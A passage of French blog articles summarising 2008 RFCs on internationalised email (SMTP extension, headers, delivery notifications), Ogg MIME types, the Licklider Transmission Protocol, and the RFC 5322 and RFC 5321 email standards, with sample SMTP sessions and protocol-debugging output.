st\x{E9}phane@bortzmeyer.org
. (La
section 3 détaille plus complètement le traitement des adresses UTF-8.)
Une fois réglé le problème de la représentation des adresses, la
section 4 traite les DSN en UTF-8. Les DSN traditionnels étaient
composés d'un objet MIME de type
multipart/report
comportant trois objets
décrivant le problème (un objet conçu pour être lu par un humain, un
message/delivery-status
et le message originel,
message/rfc822
). Pour le courrier
internationalisé, de nouveaux types ont été créés :
message/global-delivery-status
qui,
contrairement à son prédécesseur
message/delivery-status
, accepte l'UTF-8 et
permet donc de placer directement les adresses UTF-8, sans encodage en
ASCII. En
outre, il dispose d'un nouveau champ,
Localized-Diagnostic, qui permet de stocker des
messages lisibles par un humain. La langue de ces messages est
indiquée par une étiquette de langue (RFC 4646). message/global
qui remplace
message/rfc822
(dont le nom, hommage au vieux
RFC 822, était de toute façon dépassé). À noter que le terme global
(mondial) utilisé pour noter ce type avait fait l'objet de vives
discussions et même d'un vote. Cet objet permet de
transporter le message original (si on ne transporte que les en-têtes,
on utilise message/global-headers
.
On peut noter que la norme MIME (RFC 2046) interdisait l'usage de l'option
Content-Transfer-Encoding
pour les objets de type
message/*
mais cette règle a été assouplie par le
RFC 5335.
La section 5 traite des MDN (Message Disposition
NOtificatin, RFC 3798). Ils ne sont pas très
différents des DSN et ont un format très proche, avec un type MIME message/global-disposition-notification
.
La section 6 traite des registres
IANA. Le type « UTF-8 » est ajouté au registre des types d'adresses
(section 6.1), et les nouveaux types MIME comme
message/global
sont ajoutés au registre des types MIME (sections 6.3
à 6.5).
Enfin, la section 7 est dédiée aux questions de sécurité. Outre les problèmes de sécurité classiques des DSN et des MDN (non authentifiés, ils permettent de faire croire qu'un message a échoué, alors qu'il a bien été délivré, ou le contraire), le RFC nous prévient que des DSN ou des MDN délibérement incorrects peuvent être envoyés par un attaquant dans l'espoir de profiter d'erreur dans la programmation des analyseurs, par exemple pour déclencher un débordement de tampon. Le risque est plus important s'il y a beaucoup d'encodage, le décodage pouvant faire varier la taille des données.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : J. Yao (CNNIC), W. Mao (CNNIC)
Expérimental
Première rédaction de cet article le 7 septembre 2008
Dans la grande série des RFC décrivant les adresses de courrier internationalisées, ce document traite des modifications au protocole SMTP. Il a été remplacé quatre ans après par le RFC 6531 et n'est donc plus une lecture indispensable.
Plusieurs RFC composent la nouvelle norme EAI ou « Email Addresses Internationalized » (cf. RFC 4952, remplacé depuis par le RFC 6530). Les deux principaux concernent le format des messages (RFC 5335) et le dialogue entre deux serveurs de messagerie, suivant le protocole SMTP. Ce dernier cas est couvert dans notre RFC 5336.
Les adresses de courrier en Unicode ne sont
pas en effet compatibles avec le SMTP « brut ». Ainsi, la commande
RCPT TO
qui permet d'indiquer le destinataire, ne
prend en paramètre que de l'ASCII. Il faut donc
étendre SMTP (actuellement normalisé en RFC 5321) pour
permettre de l'UTF-8 en paramètre de commandes
comme MAIL FROM
et RCPT
TO
. Cette extension se signale avec l'option
UTF8SMTP
, dont l'usage permet de vérifier que le
MTA situé en face comprend bien la nouvelle
norme (sections 1 et 2 du RFC). Si ce n'est pas le cas, une adresse en
ASCII facultative peut être utilisée.
La section 3 forme le gros du RFC en spécifiant rigoureusement le nouveau protocole. Voyons d'abord un exemple de dialogue SMTP avec la nouvelle extension (C est le client - l'appelant - et S le serveur - l'appelé) :
S: 220 mail.example.org ESMTP Foobar (Debian/GNU) C: EHLO mail.iloveunicode.example S: 250-mail.example.org 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-UTF8SMTP 250 DSN C: MAIL FROM:<stéphane@internet-en-coopération.fr> ALT-ADDRESS=bortzmeyer@afnic.fr S: 250 2.1.0 Ok C: RCPT TO: <françoise@comptabilité.example.org> S: 250 2.1.5 Ok
Notez les deux adresses, chacune comprenant des caractères non-ASCII, à gauche et à droite du @.
Les serveurs qui mettent en œuvre l'extension
UTF8SMTP
doivent également accepter la très
ancienne extension 8BITMIME
(RFC 1652)
qui permet, depuis belle lurette, de ne pas se limiter à l'ASCII dans
le contenu des messages, sans pour autant nécessiter des encodages
comme Quoted-Printable (en dépit d'une légende tenace).
La section 3.1 présente la nouvelle extension,
UTF8SMTP
. Les extensions SMTP sont définies par
le RFC 5321, section 2.2. Un MTA peut annoncer
qu'il accepte UTF8SMTP, permettant à son pair, s'il l'accepte également,
d'utiliser des adresses UTF-8. C'est également cette section qui
définit ce que doit faire un MTA lorsqu'il tente de transmettre un
message internationalisé à un ancien MTA qui ne gère pas cette
extension. Quatre solutions sont possibles, la plus fréquente sera
sans doute d'utiliser le mécanisme de repli
(downgrade).
La section 3.3 décrit la nouvelle syntaxe pour les adresses. L'ancienne était limitée à ASCII mais très permissive (bien qu'on trouve, notamment derrière les formulaires Web, énormément de logiciels de « vérification » bogués). En gros, la syntaxe est qu'une adresse est formée de deux parties, la partie locale et le nom de domaine, tous les deux séparés par l'arobase. La nouveauté est que les deux parties peuvent désormais être en Unicode, avec peu de restrictions sur la partie locale (le nom de domaine étant soumis aux restrictions du RFC 3490).
Une adresse alternative tout en ASCII peut être fournie par le
paramètre ALT-ADDRESS
. C'est l'objet des sections
3.4 et 3.5. Elle doit s'utiliser conjointement à une modification du
message (qui peut contenir des en-têtes en UTF-8) et l'ensemble du
processus s'appelle le repli
(downgrade). Sa spécification est publiée dans le RFC 5504. (Dans l'exemple de dialogue SMTP plus haut, seul l'expéditeur
avait une adresse alternative.)
Il y a plein d'autres détails dans cette section, comme celui
(section 3.7.1) que
le paramètre de la commande EHLO
(un nom de
machine) doit être encodé en Punycode puisque,
à ce stade, on ne sait pas encore si UTF8SMTP est accepté ou pas.
Je n'ai pas encore testé avec mes Postfix, ni vérifié quels étaient les plans des auteurs de ce logiciel vis-à-vis de cette extension de SMTP.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : Y. Abel (TWNIC)
Expérimental
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 7 septembre 2008
Dans l'ensemble des RFC qui décrivent les adresses de courrier électronique internationalisées (c'est-à-dire pouvant utiliser tout le répertoire Unicode), celui-ci se consacre au nouveau format des en-têtes, mettant donc à jour le fameux RFC 2822 (en toute rigueur, il n'est mis à jour que par ceux qui participent à l'expérience, cf. section 1.2 du RFC). Il a été remplacé par la suite par le RFC 6532.
Désormais, on peut, si on participe à l'« expérience » (tel est son statut officiel) EAI (Email Address Internationalization), avoir dans un message un en-tête comme :
From: Stéphane Bortzmeyer <stéphane@sources.org>
Oui, avec du vrai UTF-8, y compris dans l'adresse proprement dite, pas seulement dans les commentaires, et encore, à condition de les surencoder selon le RFC 2047 comme c'était le cas avant.
L'éditeur du RFC travaille à TWNIC, le
registre chinois de .tw. Les
chinois ont, fort logiquement, été
particulièrement actifs dans tout le processus EAI. Celui-ci visait à
terminer l'internationalisation du courrier électronique, qui avait
passé une étape décisive en novembre 1996, avec la sortie du RFC 2045 sur MIME. Mais cette norme MIME
n'internationalisait que le corps des messages. EAI permet désormais
d'internationaliser également les en-têtes comme
From:
ou Received:
(mais
pas, par exemple, Date:
ou
Message-ID:
, qui resteront en ASCII pur,
cf. section 4.3 ; Date:
, par exemple, est censé
être analysé par le MUA et présenté ensuite à
l'utilisateur dans sa langue).
EAI comprend plusieurs RFC, par exemple à l'époque le RFC 4952
définit le cadre général, le RFC 5336, l'utilisation des
adresses Unicode dans SMTP (avec l'extension
UTF8SMTP
), des futurs RFC qui traiteront le cas
de POP ou IMAP et notre RFC 5335, qui se concentre sur le format des messages. Tous ont été remplacés en 2012 par la nouvelle série, autour du RFC 6530.
Concrètement, que change donc ce RFC ? La section 4 détaille ce qui est modifié :
From:
ou To:
)
est modifiée pour accepter UTF-8. Pour les sites qui utilisent une
adresse électronique comme identificateur, comme le fait
Amazon.com, ce sera un intéressant
défi !message/global
, pour permettre d'identifier un
message EAI (section 4.6).Parmi les conséquences pratiques de ce changement, il faut noter que les programmeurs qui écrivent des logiciels traitant le courrier doivent désormais gérer Unicode, même s'ils se contentent d'analyser les en-têtes... L'époque du courrier traité avec des scripts shell est bien passée.
La section 5 liste également quelques conséquences pour la sécurité comme le fait qu'un mécanisme d'authentification devra être prêt à gérer plusieurs adresses pour la même personne (car, pendant un certain temps, plusieurs utilisateurs auront à la fois une adresse en Unicode et une en ASCII pur).
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : I. Goncalves (Xiph), S. Pfeiffer
(Xiph), C. Montgomery (Xiph)
Chemin des normes
Première rédaction de cet article le 4 septembre 2008
Ce court RFC documente les types « MIME » (RFC 2045) à utiliser pour le format de fichiers multimédia Ogg, changeant sérieusement les anciens types du RFC 3534.
Dans un monde du multimédia dominé par des formats fermés comme WMF ou partiellement ouverts comme Flash (sans compter les innombrables et futiles brevets sur ces formats), Ogg, format maintenu par la fondation Xiph et décrit dans le RFC 3533, reste le principal format ouvert. Comme beaucoup de formats multimédia (par exemple AVI), Ogg ne permet que de créer des containers, des ensembles de flux de données, dont chacun a son propre format. Ainsi, un film stocké dans un container Ogg contiendra en général deux flux, un vidéo (typiquement au format Theora) pour l'image et un audio (typiquement au format Vorbis) pour le son. D'autres containers Ogg peuvent contenir plus de deux flux de données temporelles.
Cette façon de stocker les données complique un peu la définition
d'un type de données pour étiqueter les containers Ogg, lorsqu'ils
sont distribués par courrier électronique ou
bien envoyés via le protocole HTTP. Le
RFC originel, le RFC 3534, définissait
un type unique, application/ogg
. Le problème
était qu'un container Ogg ne contenant que du son au format Vorbis se
trouvait étiqueté avec le type très général
application/
alors que le type
audio/
aurait certainement mieux convenu. Notre
RFC introduit donc deux nouveaux sous-types de
video/
et audio/
, soit
video/ogg
et audio/ogg
, et
redéfinit le type application/ogg
.
La section 2 du RFC rappelle les changements depuis le RFC 3534, la principale étant ces deux nouveaux types.
La section 4 décrit les problèmes de compatibilité qui pourraient
surgir avec les anciennes applications. Elle pose le principe que du
contenu purement audio devrait être marqué avec le nouveau type
audio/ogg
(même chose pour la vidéo), réservant
l'usage de application/ogg
aux contenus plus
complexes (par exemple dans le secteur scientifique, où ils sont plus
fréquents que dans le monde du multimédia). Pour ces contenus, notre RFC impose l'extension Ogg
Skeleton pour
identifier les différents flux contenus. Elle décrit aussi
l'utilisation du paramètre codecs
qui permet de
préciser le format des flux inclus, et donc le
codec à utiliser. Ainsi, un flux
Speex dans un fichier Ogg pourra être identifié par
audio/ogg; codecs=speex
. La section 5 du RFC
précise davantage les relations entre les trois types désormais
normalisés, du plus général, application/ogg
au
plus spécifique, audio/ogg
.
La section 10 contient la « paperasse » nécessaire à
l'enregistrement des trois types dans le registre IANA des types. La section 10.1 enregistre
application/ogg
, recommandant l'extension de
fichier .ogx
(.ogg
étant
souvent utilisé uniquement pour l'audio).
10.2 définit video/ogg
(extension
.ogv
) et 10.3 audio/ogg
, qui
garde l'extension « historique » .ogg
.
Ogg dispose d'une mise en œuvre de référence, sous une licence libre, la libogg (section 8 du RFC, sur l'interopérabilité).
Notons enfin une section 7 du RFC consacrée à la sécurité et qui donne quelques avertissements utiles : si Ogg en lui-même n'est qu'un format et ne pose pas de problème de sécurité en soi, certains contenus d'un fichier Ogg peuvent être exécutables et poser alors de redoutables problèmes de sécurité comme l'ont montré les nombreuses alertes de sécurité qui concernaient Flash. Ces contenus ne devraient pas être exécutés sans une validation (par exemple une signature électronique, service non fourni actuellement par Ogg lui-même mais qui peut être utilisé sur les flux transportés dans un container).
D'autre part, les contenus multimédia sont souvent de grande taille et des attaques par déni de service indirect sont toujours possibles, par exemple en envoyant une image qui, après décompression, sera ridiculement grande, ou un flux audio avec un rythme d'échantillonage impossible à suivre. Les programmes qui lisent les fichiers multimédia doivent donc être prudents.
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : S. Burleigh (NASA/Jet Propulsion Laboratory), M. Ramadas (Ohio University), S. Farrell (Trinity College - Dublin)
Pour information
Première rédaction de cet article le 17 septembre 2008
Le groupe de travail de l'IRTF DTN (Delay-Tolerant Networking) continue son travail de création de protocoles de communication standards capables de fonctionner dans l'espace lointain, ou dans des milieux similaires. Après le protocole Bundle du RFC 5050, qui décrit un protocole de niveau Application pour le transfert de données, voici le protocole Licklider, de niveau Transport.
LTP (Licklider Transmission Protocol), ainsi nommé en l'honneur du pionnier de l'Internet, est donc sur le même créneau que des protocoles comme TCP, chargé de fournir un service de transport aux applications (ce que le RFC 5050 nomme un convergence layer). Il est normalisé dans le RFC 5326 et des extensions sont prévues par le RFC 5327. Notre RFC 5325, lui, expose les motivations derrière ce protocole.
Les milieux où LTP sera utilisé sont caractérisés (sections 1 et 2 du RFC) par des délais de transmission très longs (une heure pour joindre Jupiter depuis la Terre), une fiabilité faible des transmissions et le fait que celles-ci ne soient possibles que par intervalles, lorsque les deux astres ne sont pas masqués par un troisième. Le principal « client » de LTP sera donc la NASA. (Le problème général des communications spatiales avait été décrit dans le RFC 4838.)
La section 2.1 fait également remarquer que les limites de ces communications spatiales ne sont pas uniquement physiques (vitesse de la lumière) mais également économiques. Les antennes capables de communiquer avec les vaisseaux spatiaux, comme celles du DSN, sont rares et leur location coûte cher.
La même section 2.1 explique pourquoi ces caractéristiques condamnent les protocoles réseaux traditionnels : on ne peut pas attendre un accusé de réception avant de continuer à transmettre, vue la longueur du RTT ; on ne peut pas négocier des paramètres de transmission avec l'autre partie, la fenêtre de transmission est souvent trop courte pour cela ; l'évaluation du RTT par des mesures est en général impossible. LTP sera donc un protocole unidirectionnel, l'interactivité n'étant en général pas possible dans l'espace.
La section 2.2 détaille les limites de TCP ou SCTP pour ce problème. Avec une équation d'état comme celle du RFC 5348, une transmission de la Terre à Mars à seulement dix kilobits par seconde nécessiterait un taux de perte des données inférieur à 10^(-5), ce qui est irréaliste dans l'espace.
La section 3 explique les grandes lignes du protocole (il faut lire le RFC 5326 pour avoir la vraie norme). LTP transmet des blocs de données qui sont composés de deux parties, la « rouge » (ces données doivent faire l'objet d'un accusé de réception, sinon elles sont retransmises) et la « verte » (jamais retransmises). Chacune des deux parties peut être vide. Ainsi, une application de transfert de fichiers mettra typiquement toutes les données dans la partie rouge et rien dans la verte. LTP permet donc à l'application de choisir la sémantique de TCP ou bien d'UDP et ceci pour chaque bloc de données.
Vue la nature unidirectionnelle de LTP, il n'y a pas de négociation avec l'autre partie : la transmission des données se fait « en aveugle », LTP stockant les parties rouges pour pouvoir les retransmettre s'il n'y a pas d'accusé de réception. Seule la couche Liaison peut donner des indications à LTP (la section 3.1.1 détaille ces indications).
Justement, quand retransmettre ? Comme LTP ne peut pas mesurer le RTT, il doit dépendre de calculs réalisés avant la transmission (la section 3.1.3 détaille ces calculs), en se basant sur la vitesse de la lumière et les délais connus, par exemple dus à la disponibilité des antennes. Cela permet d'évaluer à partir de quand une non-réponse est le signe de données perdues. Il faudra alors retransmettre (section 3.2).
Date de publication du RFC : Octobre 2008
Auteur(s) du RFC : P. Resnick (Qualcomm)
Chemin des normes
Première rédaction de cet article le 1 octobre 2008
Vieux de désormais trente et une années (la première norme était le RFC 724 en mai 1977), le format des messages électroniques vient donc de recevoir une nouvelle spécification. Pas de grands changements mais beaucoup de petites erreurs corrigées, elle marque l'avancée de la norme au statut de « projet de norme ».
Le courrier électronique d'Internet repose sur deux piliers : un protocole d'échange des messages, SMTP, normalisé dans le RFC 5321 et un format des messages, que traite notre RFC 5322. Les deux sont relativement indépendants, notamment dans le sens où on peut transporter des messages sur d'autres protocoles que SMTP, comme par exemple UUCP. Autre exemple, les adresses traitées par les deux RFC sont différentes (même si leur syntaxe est la même), SMTP gérant l'enveloppe du message et le format gérant son contenu (section 1). Cela justifie deux RFC séparés.
Que contient le RFC 5322 qui vient de remplacer le RFC 2822 ? Moins qu'on ne pourrait le croire. Des pans énormes de l'utilisation du courrier sont en dehors de ce RFC comme l'important format MIME (RFC 2045) ou comme les extensions d'internationalisation (RFC 6532).
Il reste donc un RFC sur l'envoi de messages textuels en ASCII. Mais, sans même prendre en compte des extensions comme MIME, c'est déjà assez complexe. La section 2 définit les règles lexicales des messages. Les messages sont découpés en lignes composées ce caractères. Le nombre maximal de caractères par ligne est de 998 caractères (section 2.1.1, qui recommande d'accepter également des longueurs plus grandes, mais sans générer soi-même de lignes plus longues).
La section 2.2 définit les en-têtes qui composent le début du message. Un message au format RFC 5322 ressemble, sur le câble, à :
Date: Tue, 9 Sep 2008 09:33:17 +0200 To: ubuntu-fr@lists.ubuntu.com Message-ID: <20080909073317.GA23390@sources.org> Subject: [Son] Silence complet sur mon ESS ES1978 Maestro 2E From: Stephane Bortzmeyer <stephane@sources.org> Le son, avec Linux, c'est vraiment p=E9nible. J'ai un Dell Inspiron 7500 dont le son ne marche pas du tout. Silence complet. ...
Le début, avant la ligne vide, est composé de cinq en-têtes (il y en a
bien d'autres, non affichés ici. Avec mutt,
c'est la commande h
qui permet d'afficher tous
les en-têtes). Chaque
en-tête a un nom, suivi du deux-points et d'un
corps. Si les premiers MUA affichaient
directement les noms des différents champs, cela ne se fait plus
guère aujourd'hui. En général, ce que voit l'utilisateur est bien
différent de ce qui passe sur le câble, notamment à des fins de
localisation (afficher « Objet » et pas
« Subject », par exemple). Le corps du champ peut être non
structuré (section 2.2.1, on y met ce qu'on veut, c'est le cas du champ
Subject:
) ou bien structuré (section 2.2.2, il obéit à une
mini-grammaire spécialisée, c'est le cas de Date:
ou de From:
). Les champs peuvent être très longs
et il est donc prévu (section 2.2.3) de pouvoir les
plier sur plusieurs lignes. C'est un des points les plus souvent
oubliés des auteurs d'analyseurs de ce format. Il faut donc rappeler
qu'on ne peut pas utiliser d'outil orienté ligne
comme grep sur un message électronique. (Une
solution est d'utiliser l'excellente commande formail, dans le
paquetage procmail, avec son option
-c
qui replie les lignes.)
Enfin, il y a le corps du message, après les en-têtes. Précédé d'une ligne vide, ce corps n'a pratiquement pas de structure dans notre RFC 5322 (section 2.3) mais d'autres normes comme MIME (RFC 2045) se chargent de combler ce manque et permettent, par exemple, de transporter plusieurs fichiers, y compris binaires, dans un seul message.
La section 3 décrit la syntaxe d'un message. La grammaire est très
riche et très complexe. Pire, en raison de l'ancienneté de ce format,
un grand nombre de productions grammaticales sont désormais
abandonnées mais doivent toujours être reconnues par un analyseur, au
cas où un logiciel les génère encore. Elles ont un nom commençant par
obs-
pour qu'on puisse les reconnaitre plus
facilement. (La section 4 décrit cette grammaire abandonnée plus en
détail. On y trouve, par exemple, un format pour les années sur deux
chiffres, non compatible avec l'an 2000.)
Parmi les subtilités de cette grammaire :
Date: Tue, 30 Sep 2008 11:49:07
+0200
(le format du courrier est bien plus ancien que la
norme ISO 8601). Ce champ est décrit en 3.6.1.
From:
et
To:
) est
stephane+blog@bortzmeyer.org
. On notera que des
normes comme NAI (RFC 7542) ou bien
XMPP (RFC 7622) utilisent
une syntaxe proche.Enfin, la section 3.6 décrit tous les en-têtes. Citons entre autres :
From:
,
Sender:
et Reply-To:
,
section 3.6.2.To:
et
Cc:
(ceux qui reçoivent une copie), section 3.6.3.Message-ID:
, section 3.6.4, un champ structuré qui
contient un identificateur unique du message, par exemple
<17b4fdcd0809290041i4323797al964ccf5a344b1c47@mail.gmail.com>
.Subject:
, section 3.6.5, qui indique
l'objet du message et n'est pas structuré. Pour qu'il puisse contenir
autre chose que des caractères ASCII, il faut utiliser l'encodage du
RFC 2047 (ou le plus récent RFC 6532).Received:
, section 3.6.7, qui sert à
indiquer par quels relais est passé un message. Par exemple,
Received: from rv-out-0708.google.com
(rv-out-0708.google.com [209.85.198.250]) by mx1.nic.fr (Postfix) with
ESMTP id 98D821714088 for <bortzmeyer@nic.fr>; Mon, 29 Sep 2008
09:41:22 +0200 (CEST)
. C'est un excellent outil de
débogage pour l'administrateur réseau.La liste des en-têtes n'est pas figée, on la trouve dans un registre IANA (créé à l'origine par le RFC 4021) décrit en section 6.
Notre RFC 5322 remplace le RFC 2822, par rapport auquel il y a peu de changements. Le RFC 2822 remplaçait le RFC 822 qui est resté en service très longtemps, accompagnant l'essor du courrier électronique, et qui a été tellement influent que son numéro sert souvent à désigner le format (comme dans l'ancien module Python rfc822, remplacé depuis par email). L'annexe B donne la liste des changements par rapport au RFC 2822, essentiellement des corrections de bogues.
Date de publication du RFC : Octobre 2008
Auteur(s) du RFC : J. Klensin
Chemin des normes
Première rédaction de cet article le 1 octobre 2008
Ce RFC normalise la version actuelle de SMTP, le protocole de transfert de courrier électronique qui est un des grands succès de l'Internet et toujours une de ses applications les plus populaires, malgré les attaques des spammeurs et la concurrence des blogs et de la messagerie instantanée.
Ce protocole a été successivement normalisé par les RFC 788 (qui avait lui-même été précédé par des RFC décrivant des protocoles qui étaient très proches de SMTP), RFC 821, RFC 2821 et désormais notre RFC 5321. Le RFC 788 datant de novembre 1981, SMTP a donc vingt-sept ans.
Parmi ses caractéristiques principales, on trouve la simplicité, qui lui vaut son nom (écrire un client SMTP est simple), le fait qu'il permette le relayage du courrier par des serveurs intermédiaires et le fait qu'il ne spécifie que le transport du message, pas son contenu, qui fait l'objet du RFC 5322.
Il est intéressant de noter que, s'il a gagné en fonctions, SMTP en a aussi perdu dans certains cas. C'est ensuite que les fonctions de messagerie instantanée (voir annexe F.6) ont disparu avec le RFC 2821, le routage par la source également (annexe F.2) ou que la simple soumission du courrier par le logiciel client est désormais traitée par le RFC 6409, le SMTP complet étant réservé aux communications entre serveurs de messagerie.
La section 2 du RFC traite en détail du modèle de fonctionnement de
SMTP. Le principe est que l'émetteur trouve le serveur distant (en
général grâce aux enregistrements MX du
DNS) puis ouvre une connexion TCP avec ce
serveur distant, connexion sur laquelle on transmet l'adresse de
l'expéditeur, celle du destinataire et le message (ces deux adresses
forment donc ce qu'on appelle l'enveloppe, qui
ne fait pas partie du message ; elles ne sont pas forcément identiques
aux adresses qu'on trouve dans les champs From:
et To:
du message). (L'annexe B revient également
sur certains aspects de la séparation entre l'enveloppe et le
message. Ainsi, faire suivre un message en se fiant aux en-têtes
To:
du message, au lieu d'utiliser l'enveloppe,
va très probablement produire des boucles sans fin.)
Le serveur distant n'est pas forcément la destination finale, il peut être un simple relais (un relais utilise SMTP des deux côtés) ou une passerelle (la passerelle parle SMTP d'un côté mais utilise un autre protocole, par exemple un protocole privé, de l'autre côté, cf. section 2.3.10).
En théorie (et la section 2.1 insiste sur ce point), le serveur qui a accepté un message doit le délivrer ou bien prévenir l'expéditeur. Aujourd'hui, avec la prolifération du spam et des joe jobs, ce principe n'est plus tenable et cette partie du RFC est donc celle qui est la plus ignorée. Une discussion sur ce point figure dans le RFC, aux sections 6.1, 6.2 et 7.8, qui admettent que « In today's world, [...] those principles may not be practical. » en rappelant toutefois qu'il faut être prudent, contrairement à beaucoup d'opérateurs de serveurs de messagerie qui jettent de nombreux messages sans garder de trace, ce qui jette un sérieux doute sur la fiabilité du service de courrier.
SMTP est simple, mais extensible. La section 2.2 résume le modèle
d'extensibilité de SMTP, qui avait été intégré à partir du RFC 2821. Il repose sur une nouvelle commande pour
s'annoncer au serveur distant, EHLO
, qui remplace
l'ancien HELO
, et qui permet d'annoncer les
extensions que l'ou ou l'autre MTA accepte. La
section 2.2.1 insiste toutefois sur le fait que l'une des forces de
SMTP est sa simplicité et qu'il ne faut donc peut-être pas trop le
charger d'extensions, si elles ne sont pas clairement utiles.
La (longue) section 2.3 est consacrée à la terminologie. Elle rappelle
notamment la distinction entre enveloppe et message, signalée plus
haut. C'est ainsi que la définition des en-têtes
du message comme Subject:
ou bien
Date:
est laissée au RFC 5322,
alors que celle du corps du message est du
domaine de MIME (RFC 2045).
C'est également dans cette section de terminologie que sont définis des termes comme MTA ou MUA même si le RFC note (section 2.3.3) que, dans ce monde peu organisé, il ne faut pas toujours prendre les mots trop sérieusement.
La section suivante, 2.4, couvre les principes de base de la syntaxe SMTP, comme le fait que les commandes sont du texte, pas du binaire, qu'elles sont insensibles à la casse, et que les réponses à ces commandes sont des nombres de trois chiffres, conçus pour être interprétés par un programme (par exemple, 500 signifie « Erreur de syntaxe »).
Place ensuite, en section 3, aux procédures SMTP. Le cœur du
protocole est là, notamment dans la section 3.3 qui explique
l'enchaînement des commandes. Quatre sont particulièrement importantes,
EHLO
pour se connecter (section 4.1.1.1), MAIL
FROM
pour indiquer l'expéditeur (section 4.1.1.2), RCPT
TO
pour le destinataire (section 4.1.1.3) et DATA
pour
envoyer le message (section 4.1.1.4).
Voici un exemple d'une session SMTP, telle que l'affiche, pour nous
aider au débogage, le client SMTP msmtp,
lorsqu'il est lancé par echo TEST | msmtp
--from=foobar@example.org --debug stephane@bortzmeyer.org
(les lignes préfixées par <--
sont envoyées
par le serveur SMTP de réception, celles commençant par
-->
par celui d'émission) :
<-- 220 relay1.nic.fr ESMTP Postfix --> EHLO bortzmeyer.nic.fr <-- 250-relay1.nic.fr <-- 250-PIPELINING <-- 250-SIZE 10240000 <-- 250-VRFY <-- 250-ETRN <-- 250-ENHANCEDSTATUSCODES <-- 250-8BITMIME <-- 250 DSN --> MAIL FROM:<foobar@example.org> --> RCPT TO:<stephane@bortzmeyer.org> --> DATA <-- 250 2.1.0 Ok <-- 250 2.1.5 Ok <-- 354 End data with <CR><LF>.<CR><LF> --> TEST --> . <-- 250 2.0.0 Ok: queued as 92859A1D95D --> QUIT <-- 221 2.0.0 Bye
On voit, et c'est une des caractéristiques importantes de SMTP, que l'émetteur peut indiquer ce qu'il veut comme expéditeur. Cela permet les usurpations d'identité mais il n'est pas évident de résoudre ce problème de sécurité sans supprimer en même temps bien des usages utiles du courrier. Si le serveur SMTP initial peut à la rigueur authentifier ses clients, les serveurs suivants n'ont guère le choix, sinon de tout accepter.
Et voici ce qu'affiche un programme Python qui
utilise la bibliothèque smtplib. Notons que
les commandes de la bibliotèque portent le nom des commandes
SMTP. Ici, on n'utilise que la commande de bienvenue initiale, EHLO
:
% python ... >>> import smtplib >>> s = smtplib.SMTP("mail.example.org") >>> s.set_debuglevel(True) >>> s.ehlo("mail.foobar.example") send: 'ehlo mail.foobar.example\r\n' reply: '250-horcrux\r\n' reply: '250-VRFY\r\n' reply: '250-ETRN\r\n' reply: '250-STARTTLS\r\n' reply: '250-ENHANCEDSTATUSCODES\r\n' reply: '250-8BITMIME\r\n' reply: retcode (250); Msg: mail.example.org VRFY ETRN STARTTLS ENHANCEDSTATUSCODES 8BITMIME (250, 'mail.example.org\nVRFY\nETRN\nSTARTTLS\nENHANCEDSTATUSCODES\n8BITMIME')
On trouve d'ailleurs des mises en œuvre de SMTP pour tous les langages de programmation, pour Emacs Lisp, pour Haskell...
En théorie, le serveur SMTP ne devrait pas du tout toucher au
message qu'il convoie. Mais il existe quelques exceptions. Par
exemple, la section 3.7.2 couvre le cas des en-têtes
Received:
dans le message (également discutés en
section 4.4). Très utiles au
débogage, ceux-ci doivent être ajoutés par chaque serveur SMTP qui a
relayé le message. Pour le premier exemple ci-dessus, l'en-tête
Received:
ressemblera à :
Received: from bortzmeyer.nic.fr (batilda.nic.fr [192.134.4.69]) by relay1.nic.fr (Postfix) with ESMTP id 92859A1D95D for <stephane@bortzmeyer.org>; Sun, 28 Sep 2008 03:56:11 +0200 (CEST)
Enfin, la section 4.1 décrit une par une toutes les commandes SMTP
et leur syntaxe. La section 4.2 décrit, elle,
les réponses. Composées de trois chiffres, le premier indique si la
réponse est positive, négative ou incomplète (ainsi,
2xy
indique que le serveur qui répond est
satisfait, 5xy
qu'il ne l'est pas et
4xy
qu'il y a eu un problème temporaire). Le
second chiffre, lui, indique le genre de la réponse :
x0z
pour ce qui concerne la syntaxe,
x2z
pour le réseau, etc. On peut donc en déduire
que 421
signifie un problème temporaire avec le
réseau, forçant à fermer la connexion (section 3.8).
Tout cela est bien beau, mais cela ne fait que spécifier le
dialogue avec un serveur distant qu'on a déjà trouvé. Et comment le
trouver ? Si je suis un MTA et que je veux
transmettre un message envoyé à
postmaster@gmail.com
, comment est-ce que je
trouve l'adresse du ou des serveurs responsables de
gmail.com
? Si on refaisait SMTP en partant de
zéro aujourd'hui, j'utiliserai sans doute les
enregistrements SRV du RFC 2782. Mais le courrier électronique a été normalisé
longtemps avant ce RFC et il utilise donc une sorte d'enregistrements
SRV spécifique, les enregistrements MX. Le MTA
regarde donc dans le DNS les MX de
gmail.com
:
% dig MX gmail.com. gmail.com. 3600 IN MX 5 gmail-smtp-in.l.google.com. gmail.com. 3600 IN MX 10 alt1.gmail-smtp-in.l.google.com. ...
et sait donc qu'il doit contacter gmail-smtp-in.l.google.com
. La
section 5 du RFC est consacrée à ce mécanisme.
Que faire s'il n'y a pas d'enregistrement MX ? La question a
toujours été chaudement discutée chez les passionnés de SMTP, mais
particulièrement lors de la rédaction de ce RFC 5321. En effet, l'ancienne règle (section 5 du RFC 2821) était qu'on utilisait, s'il était présent, un
enregistrement A (une adresse IPv4), qualifié
de « MX implicite ». Ce mécanisme est très critiqué : les domaines ont
souvent un enregistrement A pour le Web (afin
de pouvoir taper http://example.net/
et pas
seulement http://www.example.net/
) et la machine
qu'il indique n'a pas forcément de serveur de courrier. En outre, que
faut-il faire s'il n'y a pas d'enregistrement A mais un AAAA (une
adresse IPv6) ? Notre RFC s'éloigne donc du
RFC 2821 ici et décide de garder l'ancienne
convention du MX implicite (au nom de la continuité), en l'étendant à
IPv6 (voir la discussion en section 5.2). Les termes de « A
RR » (A resource record, enregistrement
de type A) ont ainsi disparus au profit de address
RR qui regroupe A et AAAA.
On note qu'il n'existe pas de moyen normalisé de dire « Je ne
veux pas recevoir de courrier » ; ne pas avoir de MX ne suffit pas, en
raison de la règle maintenue d'un MX implicite ; la méthode la plus courante, mais
non standard, est de publier un MX délibérement invalide, pointant par
exemple vers .
(la racine) ou vers
localhost
.
Notons que la section 5 précise qu'un émetteur SMTP doit essayer d'envoyer à toutes les adresses IP, pas uniquement à tous les MX (un serveur peut avoir plusieurs adresses).
